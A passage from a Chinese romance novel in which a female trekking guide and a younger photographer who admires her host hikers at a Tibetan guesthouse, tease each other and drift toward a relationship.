华松栩一听急忙坐起来,看到熟悉的风景后蹙眉,“到了怎么不叫我?”
“又不急。”徐汀云等她穿好衣服,关空调熄火。
华松栩有点急,自己一觉睡到凌晨一点半,可旁边那位还未合眼。于是急匆匆地将卫生巾布洛芬塞进包里,开门作势要下车,却被绕到副驾的徐汀云抵住了门。
她的思维还处于浆糊阶段,茫然地仰头,“怎么了?”
然后她就看到,徐汀云长腿一曲蹲了下去,换他来仰头看她。
徐汀云拉住她的手腕,郑重道:“可能你并不关心,但我还是得解释。你就这么一听,我就这么一说。”
华松栩眨眨眼,
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还是有些呆滞,“什么?”
“我改微信名是因为加了这几波客人的微信。我怕他们从蛛丝马迹认出你,也怕他们因为好奇提起,我不想你不开心。”
“我最近去县上没和你讲,是因为怕你担心,也怕你因为担心要跟我去。做向导费心费力,我想让你好好休息几天。”
“之前在攀冰训练营,就因为我不成熟的举动引得大家探究,所以这次带队我刻意和你保持距离。”
徐汀云直勾勾看着她,真诚至极,又率真至极。他像旷野的风,像利爽的日光,也像一只只看着她的狼狗。可他又是这么敏锐,一个问题就察觉到她的纠结。同时也是那么贴心,用漫长的前提为她留有余地。
华松栩空落落的心渐渐充盈,小声说:“嗯,知道了。”
徐汀云不依,拉着她不放手,“那你下次遇到事情还和我讲吗?”
她骄矜道:“看什么事情。”
“不管什么事情,不管什么时间。”徐汀云说,“哪怕你回到海城,这句话依然作数。”
这样的话华松栩答应不了,她很清楚他们总有一天陌路,所以扯了扯自己的手腕示意,“走吧,回去休息。明天还有行程。”
徐汀云顺从地起身,锁上车门后赶紧搀住她。
华松栩对他的小心翼翼很是无奈,“真不用,我又不是七老八十了。”
“天黑路滑,你要是摔倒我就抱你了。”徐汀云凉凉道。
“……”华松栩想象了下被抱回客栈的场景,马上接受了此刻老佛爷式照顾,任由他带着自己走。
徐汀云刻意放缓了脚步,察觉到她的顺从,唇角划过不明显的笑意。
一路回到房间,徐汀云把背包放在玄关处,丢下一句“等我五分钟”,转头急匆匆跑了。华松栩莫名其妙,但还是留了个门缝。
洗漱完出来时,她留意到门口有个黑影,于是去拉开,“开着呢,怎么不进来?”
“不进来了。”徐汀云气还没喘匀,坚持站在门外,再次把保温杯塞给她,“喝了再睡。”
华松栩真的很不爱喝红糖水,捧在手里有点不知道怎么拒绝。
徐汀云轻笑,“知道你不喜欢,所以专门去换了。”
华松栩眨眨眼,拧开一嗅,热气扑面而来,是新鲜滚烫的牛奶。她一愣,“这又是从哪弄来的?”
央金不在,客栈鲜牛奶断货很久了。
“徐哥有办法。”徐汀云温声,“现在愿意喝了吗?”
腾腾升起的水汽模糊了华松栩的眼,却让她更为清晰地看到眼前人赤诚的真心,“……谢谢。”
徐汀云摇摇头,作势要走又停住,在冲锋衣摩擦的沙沙声中几番欲言又止。
华松栩慢慢抿着热牛奶,嗓音也随之融化,“怎么了?”
徐汀云握紧的拳头松了,以不容置疑地口吻说:“如果不舒服给我打电话,随时。”
在漫长的沉默后,华松栩说:“晚安。”
“晚安。”徐汀云应道。
32. 情侣把戏
第二天再出发,换徐汀云打头华松栩压队。
一大早徐汀云就跑来敲门,见她确实恢复体力后才同意按计划走线,当然——前提是两人换位置。于是华松栩保持正常情况下三分之一的速度跟在曲遥旁边,确实轻松不少。
曲遥走了一阵叹息:“半年不运动,体力下降得厉害。感觉腿重得像石墩。”
华松栩赞同:“我也是。”
“你这么一说我更伤心了。”
“不好意思。”
曲遥摇头,“自从有了孩子,自己的时间太少。别说去健身房,楼梯都不想走。”
华松栩惊讶,“你有孩子?”
“看不出来吗?”
“完全看不出来。”
“谢谢,听你这么说心情一下就好了。”曲遥笑开了,“你呢?”
华松栩还是第一次被问这样的问题,生疏回答:“未婚未育。”
曲遥怅然,“羡慕啊!一定好好珍惜单身自由的生活,结婚生子后太多不得已,这次出来徒步,还是我好说歹说我老公才同意。”
“我没想过结婚,更没想过生孩子。”
“那也很好。希望你能坚持做自己,随心而为。”
“谢谢。”
两人相视一笑,少了几分生疏,多了几分自如。
今天的线路15km左右,前半截和昨天风景相似,后半截是山脊路段,也是精华部分。沿刀锋一般的山脊蜿蜒前行,两侧皆是拔地而起的五千米级雪山山体,置身其中,即和脚下山脉融为一体,即和自然融为一体。
先头部队缩小为视野中几个小小的点,落在后面的华松栩和曲遥没去追,悠闲地坐在岩石上歇息。低头看,山坡以流线型铺展直落谷底,险峻非常。
曲遥喝了几口可乐,深深吸气,面露向往:“人就应该在没有天花板的地方生活。这半年,我白天上班晚上带娃,真是无时无刻不想念大自然。”
“你老公呢?”
“他工作性质,总出差。都有不得已。”
华松栩了然,“这一年,我也挺想的。”
“一年?这么久?”曲遥惊讶,“因为工作忙吗?”
“也不是,私人原因吧。”华松栩含糊应道,从口袋里掏出徐汀云买的果糖,递给曲遥一颗。
“谢谢。”曲遥识趣地没追问,转而说起自己,“我给自己设定的目标是一年最少走两条徒步线。老板再恶心工作再忙,孩子多闹腾我多累,只要一进山,通通能抛之脑后。很神奇。”
曲遥是逃离城市,华松栩相反,是躲进城市。但听曲遥讲这些,她想到的却是徐汀云。有他在,巍然矗立的雪山变得没那么可怖,敬而远之的山野也恢复了素日里的静谧安宁。
她似乎很久都没想起1228山难了。
曲遥率先站起来,“走吧。”
华松栩收回纷杂的思绪,“好。”
这日行程结束,第一波客人的旅程也随之结束。因此晚上告别宴,大厨决定用明火烤牛肉。
华松栩裹着毯子看徐汀云生火,时不时提醒一句小心。
徐汀云一手拿火枪,一手顶着晃动的火苗摞砖头,还顾得上看她,“没事,我这是跟老板学的,保准靠谱。”
没等他说完,一股灼热的气息扑面而来,是要烧掉眉毛的热度。华松栩悄没声后退了好几步。
徐汀云哭笑不得,“真没事!不相信我?”
“相信相信。”边说华松栩又后退了好几步。
“……”
等有惊无险生好火,稍作休整的队员们三三两两聚集过来。
郭洋双眼放光,“吃烤肉?!”
苏振凑到方木跟前观赏还没切片的整块牦牛肉,咂舌,“这不可能不好吃,怎么烤都好吃!”
曲遥连连摇头,“这没见过世面的样子。”
徐汀云操控铁板边,牛肉充分吸收油脂发出滋啦焦香,“这块马上就好啊!两分钟!”
他身边,华松栩端着调料盒,扭头招呼:“都坐,桌上有零食,随便吃。”
“好嘞!辛苦向导和小徐摄影师!”
“胡椒。”徐汀云说。
华松栩打开盖,“放多少?”
“一勺就行。”
华松栩舀了满满一勺,哗啦倒了下去。
“哎——”徐汀云制止不及,眼睁睁看着调料聚集成团。
不会做的饭的也察觉不妙,立刻认错,“……不好意思。”
“没事,能救。”徐汀云宽慰,把铁板把手递给她,“拿一下,我去找个刷子。”
“哦。”
经过会做饭的悉心拯救,警报完美解除。华松栩让出位置,负手而立,长吁一口气。
徐汀云似笑非笑地睨她,“你看,没有小徐不行吧?”
大家伙坐在院子里的石桌,他们则背对大家伙。华松栩微微偏头,敏锐地察觉到聚焦在两人身上的灼灼目光,于是咸咸道:“不是要和我保持距离,装不熟吗?”
徐汀云面露尴尬,“咳,还挺记仇。”
华松栩上前一步,从背后看像是在嗅烤肉的香气,实则借机凑到小徐旁边,温声细语道:“麻烦继续装下去,小徐摄影师。”
说罢,揣手撤身,悠哉溜到曲遥旁边的空位坐定。
“小徐一个人忙得过来吗?”曲遥问。
华松栩捡了个花生边剥边吃,“虽然我和他不熟,但他厨艺好人尽皆知,一人做很轻松。”
不远处,正在用剪刀剪肉装盘的徐汀云脊背一僵,后槽牙一紧,悄悄念叨了一句小气鬼,薄唇边的梨涡却久久不消。
当全部菜品上桌,除华松栩外都不约而同掏出手机拍照。刚洗干净还挂着水的新鲜生菜,整齐切成片的蒜和辣椒,还冒着油光的菌菇,以胡萝卜丁、辣椒丁和火腿肠为原料的铁板炒饭,奶白的冬瓜汤,最中间是熟度刚好色泽诱人的主菜——高原铁板牦牛肉。
徐汀云拍好放下手机,“手艺有限,主要是一点心意。希望大家不要嫌弃!”
“这还手艺有限?那我们都是群野人好吗!”
“就是!”
小徐还在谦虚,“先尝尝,尝尝再说!”
“开动!”
华松栩抽了片生菜,将肉和辣椒卷起塞进嘴里。牦牛肉口感筋而不柴,肉质的原汁原味和青椒碰撞刺
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激味蕾。她还没吃完,就伸手去包下一个。
坐在对面的徐汀云将她的动作尽收眼底,偷偷乐,乐得眼睛都快眯成缝了。
和华松栩的含蓄不同,曲遥毫不含蓄地夸赞:“小徐,你这厨艺真的可以。得什么样的姑娘才能把你娶回家啊!”
郭洋噗嗤笑了,“什么叫娶?这话说的。”
“贤夫良父,怎么不能用娶?”曲遥转向徐汀云,“你觉得呢小徐?娶还是嫁?”
徐汀云不假思索道:“喜欢的人我嫁都行,不喜欢的人我娶都不行。”
曲遥猛一拍手,“看看,这思想觉悟。”
“这么说,就是有喜欢的人了。”余晖敲敲桌子,“展开讲讲?”
徐汀云实在没想到话题能落这来,一不小心被冬瓜汤呛住,猛咳起来。
这下等于不打自招,大家伙都开始起哄。
“别害羞啊!我们不问是谁。”
“问了也没用,我们又不认识。”
“就是!放心说!”
华松栩在微弱的火光中都瞅见徐汀云泛红的面颊,也不知是羞的还是呛的,很显眼就是了。于是掏出手机,发了条消息。
徐汀云连喝好几口可乐才压住,刚想解释,手机屏幕亮起,5.0的视力立刻看清了上面的字。
【阿栩:演技好拙劣,小徐。】
几个字,徐汀云心跳却错了好几拍。他摸了摸下巴,沉吟片刻后勾唇笑,“行,我承认,是有喜欢的人了。”
“这你不说我们也知道,说点干货。”
“什么类型?!”
“和我性格互补的类型,人美心善的类型,脾气超倔的类型……还有,总是惹人心疼的类型。”
华松栩虽然知道他有喜欢的人,但并不知道这些细节,所以没忍住瞄了几眼。见他挂着笑,云淡风轻地应对大家的嚎叫。
正要移开视线时,徐汀云看了过来,就这样,华松栩猝不及防地撞进了他蕴着笑意的眼底。她指尖不自在地蜷缩,捏紧了筷子。
还好,几秒之后他垂下眼帘,似乎方才的对视只是巧合。华松栩莫名松了口气,暗骂一句自己这该死的好奇心。但与此同时,她浑身都不舒服,从徐汀云承认有喜欢的人就开始的不舒服。
曲遥从桌边提起大桶可乐,问华松栩:“还要吗?”
华松栩回神,“谢谢,不用。”
大家伙还在不依不饶地问问题,华松栩眼观鼻鼻观心,专心致志填饱肚子。除她之外,桌上还有一人处于相同的状态——拥有上帝视角的方木强行按耐住开口的冲动,疯狂往嘴里塞东西,以此防范说漏嘴的可能。
正当华松栩默默干饭时,来了条消息。打开手机一看——
【小徐同学:好奇?】
她狠狠敲了几下键盘。
【阿栩:并不。】
刚发出去,那头秒回。
【小徐同学:那你好奇一下,猜猜呗?】
华松栩蹙眉,望了过去。徐汀云也望了过来,轮廓坚毅,目光是极尽反差的柔和。
隔着一米宽的石桌,隔着觥筹交错,隔着喧嚣,他的喜欢和欢喜都一眼可见。
33. 任督二脉
“相聚是缘,咱们一起拍张照片吧!”
“对啊,来来!”
华松栩垂下眼皮,将手机锁屏塞回口袋里。
徐汀云倏然回神,“用相机拍吧,我去拿三脚架。”
照片从他这里出,华松栩好拒绝,后期也好调整。
可等徐摄影师都支好相机调整好机位,还是没等到某人开口。他不着痕迹地看她,后者点头示意没关系。
拍完照片又聊了好一阵,大家终于累了,接二连三回屋休息,剩下方木和徐汀云打扫残局。七个人吃烤肉,锅碗瓢盆堆积了不少。
华松栩跟到厨房,“我帮你们一起。”
“不用,你又不能碰凉水。”徐汀云自然而然地说。
“我没这么多忌讳。”
“那从现在开始忌讳。”
“……”华松栩挽起袖子,“那我来收拾这一摊。”
厨房灶台堆积了不少调料盒和没用完的蔬菜。
徐汀云叹息,“想让你休息都不听。”
“明天人走了,有的是时间休息。”
“行吧。”小徐妥协,转而说,“我想问你个问题。”
华松栩没好气,“不好奇。”
徐汀云沉沉笑开,“也是个问题,但我没说这个。我是想问,和我拍张合影你不情不愿的,怎么今天就这么配合?”
“都是擦肩而过的缘分,既然以后不会再见,合影留念有什么奇怪?”
徐汀云品了品后,呲出牙花子,“不会再见所以合影留念,不愿意和我合影就是因为以后还会再见?”
华松栩没想到他这么解读,扶额道:“和你的合影也拍过了,出山就说再见,好吗?”
“不好。”徐汀云果断。
华松栩收好灶台后转身倚着,眉尾高高扬起,“到蓉城你去机场,我继续往海城走。你不会真讹上我,不下车了吧?”
徐汀云面露期待,“可以吗?”
“不可以!”
“好吧。”小徐遗憾。
“一身烤肉味,我回去洗澡。”华松栩拉开厨房半阖的木门,“你收拾吧,辛苦小徐摄影师。”
徐汀云在背后问:“你真不好奇?”
“不好奇。”
“那你猜猜呗?”
华松栩没回头,大步迈下台阶,“我都不认识猜什么猜,难不成是我?”
等了几秒,徐汀云依然没开口,她便回了房间。
华松栩随口一说,说完也没当回事,一直到洗完澡吹干头发躺下,才品出点味来。
难道真是她?
冒出这一想法的瞬间,华松栩立刻否决了。不可能,绝对不可能。他俩才认识多久,而且还有“偶像小粉丝”这一层关系,肯定不会。
她翻了个身,丢掉纷繁的思绪酝酿睡意,脸颊的灼烧感却经久未散。
一墙之隔,徐汀云坐在床沿随意地擦着头发。
“你笑什么呢?一晚上嘴角没下来过。”方木疑惑。
“有吗?”
“有啊!”
徐汀云把毛巾扔到一边,倒进柔软的大床,发丝的水滴打湿床单也不管,蛄蛹了好一阵,“因为有好事,天大的好事。”
今夜,又是满怀悸动的不眠之夜。
第二天吃过早饭,众人在停车场告别。
“小徐要是发现什么秘境,一定得发我!”
“没问题!”徐汀云和郭洋勾肩,互相猛拍对方脊背。
“还有我,别忘了啊!”
“我也是!”
曲遥把背包扔后备箱,来到华松栩面前,“都忘了车上还有橘子,你们留下吃。”
“不用——”华松栩还没说完,袋子已经塞到了她手里。
“拿着,我们往出走哪没卖水果的地方?”曲遥拍拍她的手臂率先说,“不客气。”
正要道谢的华松栩哑然失笑,点头致意。
“一定要过上你想要的生活哦!”曲遥笑吟吟道,“过上让我羡慕的生活!”
华松栩眉心微动,良久真诚地说了声“谢谢。”
曲遥越过华松栩的肩朝徐汀云打了个响指,“还有小徐,一定要追到喜欢的人。”
说罢,不着痕迹地冲华松栩努了努下巴,笑容意味深长,“看好你哦!”
徐汀云听到前半句还喜滋滋准备应下,看到她的小动作后直接凝固,大脑也停止了运转。
曲遥将他的反应尽收眼底,笑了好一阵。
当车子拐出停车场,向国道驶去,华松栩和徐汀云并肩而立。她披散的长发随风拂过他的侧颈,他敞开的衣衫摩挲她垂落的手背。
“一路顺风!”徐汀云喊。
车里的人们探出头挥手,“拜拜!”
相逢相聚都是缘分。
大家因爱好相识,一起走过一段路,转身各自奔赴远方。或许不了解对方职业,不知道生活中的性格,不清楚素日里的习惯爱好,却了解对方的灵魂。
置身于自然,每个人都是赤/裸裸的,没有身份地位的差别,没有金钱俗世的纠葛,只有灵魂的碰撞相吸。
当越野车变为道路尽头的一个黑点,华松栩说:“走吧。”
徐汀云应:“嗯,回吧。”
小院再次安静下来,三人瘫在木椅上,姿势统一,呆滞望天。
“一会吃什么?”方木扭头看华松栩。
“一会吃什么?”华松栩扭头看徐汀云。
徐汀云扭头看厨房桌子上的半个冬瓜,“冬瓜炖牛肉。”
“谢谢大厨。”华松栩躺回去。
“谢谢大厨。”方木也躺回去。
徐大厨坐了起来,“十点了,我去做饭。你俩再歇会。”
方木有气无力,“真不知道老板娘怎么能十年如一日开客栈,才三天我都不行了。”
徐汀云咸咸道:“你可得撑住,刨去休息日还要工作十三天。”
方木泫然欲泣。
华松栩又躺了一会,还是跟去了厨房。徐汀云正蹲在灶台边削冬瓜皮,袖口挽至手肘,小臂肌肉隆起青筋格外清晰。
她的目光久久不移,“有什么我能做的?”
徐汀云正在回忆自己精妙的演技究竟哪里出了破绽,竟然被认识两天的人看得透彻,听到声音反应了几秒才抬头。
华松栩打量他,“想什么呢?”
徐汀云说:“想你。”
华松栩心跳错了一拍,面上却不显,只是挑眉歪嘴,一副审视的神情。
徐汀云反应过来自己说什么,手下刮刀一歪,蹭着指甲盖过去。这下惊魂未定
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,倒是打通了他脑袋里的任督二脉,“——喜欢什么口味的冬瓜炖牛肉。”
“哦。”华松栩干巴巴说,“有什么口味?”
什么口味?冬瓜炖牛肉哪有什么口味?
“胡椒,辣椒,还是清淡一点?”
“清淡一点吧。”华松栩莫名有点失落,兴致缺缺地应。
徐汀云抬手往灶台上一摸,“那你给咱切块姜?”
“……好。”
华松栩背对徐汀云施展残破的刀工,心里还是闷闷的。这几天她的情绪非常不稳定,时而兴致高昂,时而郁郁寡欢,完全不受控。
十有八九是生理期的问题,激素。她想。
“怎么不高兴?”
声音几乎贴着耳畔响起。正沉浸在思绪里的华松栩被吓了一跳,整个人都哆嗦了下,手上的菜刀也晃,眼看照着手指下去时被一只大手逮住了手腕。
徐汀云被刀刃的方向惊到,往前扑了下才将将赶上,“小心点!”
华松栩后背紧紧贴着男人的胸膛,右手腕到手背被包裹至温热的掌心,整个人都落进了一个坚实的怀抱。
他的手臂环住她的手臂,因为瞬间爆发力青筋跳动格外明显。一下,又一下。
她的心脏也跳动得格外明显。一下,又一下。
徐汀云滑过她细白的手指,稳稳接住刀子,嗓音低沉似在叹息,“我来吧,昂?”
华松栩一偏头,男人滚动的喉结近在咫尺,于是立刻错开视线,撤了好几步,不自然地整理袖口,“好。”
最终,跟进来帮忙的人还是坐在了观众席。
徐汀云刀下的姜片薄厚统一,形态规整,和先前华松栩切的对比鲜明,有壁。他用刀侧一揽放进盘子,便混为了一体。
他又问:“为什么心情不好?”
华松栩下巴卡着椅背,呆愣愣答:“不知道。”
“没有一点原因?”
华松栩说:“我现在激素水平不稳定。”
徐汀云没预料到是这个答案,挑眉,“那怎么样能好起来?”
“不知道。”
“行。”徐汀云笑了下,在抓绒衣上蹭了蹭手,“在这等我两分钟,别偷吃啊!”
华松栩面无表情地扫过案板,“偷吃姜片还是偷吃生冬瓜?”
“那说不准呢。”徐汀云哼哼。
华松栩刚要抬手,他撒腿就跑了。
华松栩继续趴会椅背上忧郁,没两分钟,身后脚步声由远及近。
“看这是什么?”
她直起身,还没来得及回头,一团毛茸茸还带有温度的东西啪唧一下掉进怀里。定睛一看,是一只通体乌黑的猫咪。
华松栩挺喜欢猫,见它被生人抱着还悠闲地甩尾巴,便上手摸了起来,油光水滑的毛皮摸起来像绸缎,手感绝佳。
“你从哪绑架的猫?”
“什么叫绑架!”徐汀云不满,“跟邻居租的解压神器,租金是一块牛肉,值不值?”
猫咪被摸的舒服,眯眼发出呼噜噜的响,时不时还用小脑袋蹭一蹭手。面对这样的生物,石头心肠都抵挡不住,遑论华松栩。
“值!”
徐汀云笑望华松栩逗弄猫咪的侧颜,视线最终落在了她唇角柔和的弧度。
确实值了。
34. 雕虫小技
三人悠哉地吃过午饭,悠哉地休息,又悠哉地吃过晚饭,院门一锁,各自回屋。
经过徐汀云开具的毛茸茸疗法,华松栩的心情多云转晴,甚至有兴致刷一刷朋友圈。
周耀回蓉城没几天就又进山了,带了个新人拉练。泉哥加入了老许的队伍,去青省挑战那座未登峰。贺灵则发了张京市繁华的夜景,吐槽最近加班的强度。
看完大家的,她点开自己的,上一条还停留在去年12月27日,是和丰哥进山路上的风光。
华松栩在相册里找了几张图,有今天撸的猫咪,有昨天热闹的烧烤晚宴,有治愈人心的亡人海,也有怀远村限定版牦牛汤锅。想了一阵,她敲下一行字——
【再见,也是再见。】
发出去没两分钟,图标右上角的数字逐级递增。准备睡觉的某人放弃,查看热闹的评论区。
【周耀:喜大普奔,失踪人口回归!】
【肖鸣回复周耀:欢迎!ps周哥出山了?】
【贺灵:请和我再见。什么时候来京市?】
【贺灵回复周耀:有无新鲜的图救火?】
【周耀回复肖鸣:暴雪,屁滚尿流下山来。】
【周耀回复贺灵:无,能见度和我的头发一样长。】
华松栩失笑,只给贺灵回了一句。
【阿栩回复贺灵:有机会就来。】
发完她再次准备入睡,消息提示又来了,只得再次点开。
【小徐同学回复阿栩:马上就有机会。出山别回海城了,去京市玩一圈呗!】
华松栩光速回复。
【阿栩回复小徐同学:。】
当华松栩第三次准备放下手机时,上方出现天气通知,一看,后天降雪概率70%。她立刻蹦起来,裹了个毯子就出门了。
下一波客人徒步排期就在后天,下雪意味着计划大概率要变。
华松栩敲响徐汀云的房门,没人应。侧耳听,似乎有水声,于是开始更大力地敲。坚持不懈两分钟后,门咔嗒一声从内拉开。
“又没带钥——”话音戛然而止。
徐汀云显然是洗一半临时出来的。湿漉漉的黑发垂在额间,精壮的上身赤裸,细密的水滴顺着肌肉纹路淌落,途径清晰可见的腹肌和刀刻的人鱼线,最终消失在腰间围着的浴巾。
好一幅美男出浴图。
华松栩眼尾狠狠跳了几下,匆忙移开视线,“咳,找你有点事。”
徐汀云真的很想尖叫一声冲回浴室,毕竟电影里都这么演的,直到发现华松栩的状况。女人头发松松扎在脑后,有些不听话的发丝自然垂落,依然遮不住耳根和颊侧的那抹嫣红。
小徐脑袋里的灯泡“啪”一声,亮了。方木说的色/诱两个字,跨越一周如雷贯耳。
于是他大剌剌撑着门,似笑非笑道:“什么事?”
华松栩始终侧首不看他,“后天可能要下雪,你和客人沟通一下。”
“好。”徐汀云无辜,“之前都准备上手给我脱衣服,现在脱了怎么看都不看一眼?”
“……我当时让你脱上衣,没让你脱裤子。”华松栩诚恳道。
她真不知道徐汀云犯什么病,明明之前脱上衣都能羞得耳尖通红,这会光裹条浴巾反倒气定神闲。
事实上徐汀云此刻耳尖比通红还红,血红,可惜华松栩没发现。
徐汀云上前一步弯腰偏头,睫毛湿漉漉地垂着衬得眸色慵懒,唇角弧度玩味,“句号什么意思?”
这个姿势华松栩躲无可躲,直勾勾撞进他眼中。指甲陷于掌心,微刺,她定了定神,“没有意思。”
“那去京市吗?”徐汀云凑近了些,没有冒犯她的圆柱体,但侵略感却不容忽视。
“……不去。”
徐汀云又凑近了些,有些撒娇的意味,“要去。”
华松栩抿唇不答,眼神飘忽中突然发现他眼尾有一颗淡褐色的泪痣,恰好落在颧骨上方。
看到她和素日里完全不同的模样,徐汀云沉沉笑出声来。
华松栩指尖麻酥酥的,耳朵也麻酥酥的。那颗泪痣随着他笑微微跳跃开来,很灵动,又有点性感,她没舍得移开视线。
见她拗在这不吭声,徐汀云心软,退至门边道:“我洗完澡就和客人联系,具体情况明早说。回去早点休息,别熬夜。”
“好。”华松栩如释重负,拔腿就往隔壁走。
才握住门把手,身后再次传来男人磁性潮湿的声音,有点温柔又有点俏皮,“去京市的事情考虑考虑?”
华松栩脊背一僵,“做梦。”
“梦里考虑考虑也行。”
“……”
“晚安,阿栩。”徐汀云说。
“砰!”回应他的是穿透夜色的巨响。
徐汀云斜倚门框,朝隔壁方向痴汉笑了好一阵,这才回屋边哼歌边洗被打断的澡。
华松栩背抵着门,心跳声混着隔壁的水声震耳欲聋,全身血液都像按下加速键一般奔腾不息。她摸了摸颈侧,是一手滚烫。
明明先前徐汀云赤裸上身,她还能兴致勃勃且极度冷静地用眼神揩油,现在怎么连看一眼都紧张?
激素,因为激素。她情绪不稳定是因为激素,看到男性肉/体紧张也是因为激素,通通是大姨妈的锅。
华松栩想通了,倒头入睡。可惜睡得并不安稳,因为又做梦了。
梦里,她回到了理云县那间老旧狭窄的招待所。徐汀云坐在床沿仰头看她,眸色幽深,“让我脱?”
华松栩晃晃手里的碘伏,“给你抹药。”
男人笑容玩味,语气也玩世不恭,“那顺便帮我脱了呗。”
华松栩没觉得不对,一心记着要换药,便把棉签药物放到一边,抓住没入窄腰的衣摆,徐汀云配合举手,任她为所欲为。
所以当她反应过来时,手掌已经贴在了男人的腹肌。
徐汀云骨节分明的手落定,带着她的手缓缓上移,滑过坚硬的胸肌和那一点粉色,经过嶙峋挺翘的锁骨,停在了滚动的喉结处。
“阿栩。”他说,喉结随之轻轻震动。
华松栩像被烫到一般想要抽回手,可男人的手如铁钳,半点挣脱不得。
她眼睁睁看着他低下头,后颈弧度锋利,肩背肌肉喷张。
一个吻轻柔地落在了她蜷缩的指节。
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华松栩猝然睁眼,几瞬喘息后清明了,难以置信地起身。
为什么,到底为什么会做这种堪称禽/兽的梦?
她,对小自己三岁的粉丝,做这种看似没有颜色实则涂满颜色的梦?!
激素,一定是激素。没有其他原因。
华松栩躺回去,可睡意已然无影无踪,最终辗转反侧彻夜未眠。
早上九点钟,某人眼神迷离地飘下楼。
坐在院子里的徐汀云见了哭笑不得,“下楼梯小心点!”
华松栩没应,不看他,几乎机械性地靠近厨房。
徐汀云跟上来,“去坐着,我给你盛饭。”
“我自己来。”
她伸手去抬灶上的笼屉,被徐汀云眼疾手快地拦住,“没熄火,烫!”
当男人修长的手指摁住华松栩有些苍白的手背,现实和梦完美重叠。大半夜的心理建设瞬间分崩离析,她的脸颊又开始发烫。
徐汀云无知无觉,拎着她的手腕晃了晃,像招财猫似的,“不想要你的爪了?”
华松栩急忙抽回手背到身后,可手背的温度非但不减反而逐级递增,“咳,那你帮我盛……谢谢。”
徐汀云动作一顿,狐疑地打量她,“你今天有点奇怪。”
华松栩吞咽了下,“有吗?”
徐汀云没回答,盛好饭一路端到餐厅,拉开椅子在她对面坐定。
华松栩只是闷头吃饭,可惜灼灼目光始终对准她的脑门,终于按耐不住问:“你盯着我看什么呢?”
“那你紧张什么呢?”徐汀云勾唇。
“……谁紧张了,嫌你烦。”
徐汀云没错过她眼尾的红,笑意渐深,刻意松了领口的拉链,又挽起袖子至手肘处,姿态有些漫不经心。
果然,华松栩发现后嗖地垂眸,主打不多看一眼。
正当他准备施展拙劣的美男计时,院门轻响,一个年轻的藏族女人迈进院子,笑盈盈地打招呼,“小徐,我来打扫卫生。”
“咳!白玛姐,我带你过去。”徐汀云赶紧把衣服整理好迎上去,骚包的气质霎时无影无踪。
“好。”她跟着徐汀云往里走,途径餐厅门口时和华松栩对上目光时,笑意显而易见的淡了下去。
“扎西德勒。”华松栩攥着勺子的手因为用力泛着青白。
白玛微微颔首,“扎西德勒。”
徐汀云给白玛带完路就折了回来,解释:“我联系客人了,他们今天几就到。如果天气不好在村里住几天,天气好酌情走一两天线,所以得紧急打扫卫生。”
“好。”她起身。
“吃饱了?”
“不想吃了。”
徐汀云端起碗,“那你剩下的我吃。”
“……”华松栩抢过来,三两口喝完后转身走了。
徐汀云冲她背影露出得逞的笑容。
下午,第二波客人抵达。
华松栩和徐汀云并肩立在门口,招呼他们停车。
她忽然笑了,斜他,“还装吗?我可以配合。”
徐汀云用胳膊肘碰碰她的胳膊肘,“不装了。咱俩挺熟的,对吧?”
35. 是情姐姐
经过半个月的不懈努力,终于来到最后阶段——三天两夜的商团。
徐汀云坐在门沿上说:“十三个人,领队队员配比1:4左右。”
华松栩点头。
徐汀云把手机递给她,上面是和领队华哥的聊天记录,“华哥是一把手,还有个兼职,咱配合就行。”
华松栩算了算,“两个领队,加上咱俩,不是1:3吗?”
“我属于阿栩的人形挂件。”徐汀云挺直腰杆很是自豪。
“说人话。”
徐汀云嘻嘻笑:“我没向导证,不算向导。”
“那你岂不是不用去?”
“要去。”徐汀云指指自己,又指指华松栩,“人形挂件。”
三辆商务组成的车队依次驶入停车场时,人形挂件正蹲在地下用石头画画。
“抽象派写真,是不是很神似?”
华松栩瞥了眼那简笔火柴人,无语凝噎。
打头那辆副驾门打开,一位精瘦黝黑的男人率先下车,直冲两人走来,锐利的视线逡巡,“谁是临时向导?”
“我。”华松栩颔首。
男人上下打量华松栩,“之前做过向导吗?”
“第一次。”
闻言男人眉心拧得能夹死苍蝇,鼻孔翕张出气,好半天说:“我姓华,可以叫我华哥。你怎么称呼?”
华松栩不卑不亢,“我也姓华,可以叫我华姐。”
徐汀云轻笑出声。华哥看华松栩的眼神令他十分不悦,原想出言解围,没想到阿栩不着痕迹顶了回去。
华哥眯眼看过来,“你是联系我的小徐是吧?她是向导,你呢?”
徐汀云笑容人畜无害,“赠送的摄影师一名。”
“我对你俩只有一个要求,听我的指示,别拖后腿。”华哥绷着脸,“我要对队员安全负责,所以二位别只顾着谈恋爱,当向导不是春游。”
徐汀云失笑,“华哥,我俩——”
华松栩摁住他的手臂,“知道了。”
华哥明显有意见,解释也是徒劳。
“摄影师我不管,任何问题和我无关。你负责压队,体力跟的上吗?”
“听华哥安排。”华松栩淡声。
华哥碰上软钉子没讨到好,不过该说的话说清楚也就作罢,开始招呼驴友们卸包办理入住。
徐汀云舌尖顶腮,“线上交流还成,见了面倒是真不客气。”
华松栩神色不变,“商队和驴友私下组队不一样,出事要负法律责任。咱俩看起来就很弱鸡,他质疑很正常。”
徐汀云立刻反驳:“说我弱鸡就算了,你怎么弱鸡了?明明是钢铁女战士。”
“钢铁女战士也是女人。”华松栩言简意赅。
“那咱俩演还是不演?”
“演什么?”
“演情侣,你刚不是承认了吗?”
“没有。”华松栩白眼。
徐汀云悻悻然。他倒是挺想演一演,做个美梦也是好的。”
华松栩走出好几米了发现这人还在原地,蔫头蔫脑不知道想什么。
“赶紧过来帮忙!”
“嗳!”
15人8个驮包,公共物资、食物帐篷4个驼包,一共用了3匹马。整理好后马帮先行一步,华哥带着人员热身,顺便讲些注意事项。
“本次环线途径两个垭口,单日徒步距离在10km左右,整体算轻松。先说第一天的情况,爬升500m,正常速度四到六个小时抵达第一个营地。”
“三个领队,我打头,小领队石榴在队中,向导华姐压队。注意,当你看到华姐的时候,就说明你后面没有人了,千万不能落在她后面。”
徐汀云用肩膀撞华松栩,调侃道:“华姐?”
华松栩撇嘴,“嗳,好弟弟。”
“……”徐汀云垮了脸。
刚出发,大家的速度很统一,间距保持一米。等两次小爬升之后,队伍渐渐拉开。华松栩磨在队尾,感觉自己腿都不敢迈——稍微走两步就要贴上最后一名队员。
徐汀云跟在华松栩后面,长腿更是无法伸展,走得很是憋屈,“这速度,咱下午六点能到营地吗?”
华松栩说:“队里不少新手,体力参差不齐。差不多吧。”
“头尾能差三小时,商团真不好带啊!”
“现在知道华哥为什么严格了吧?”
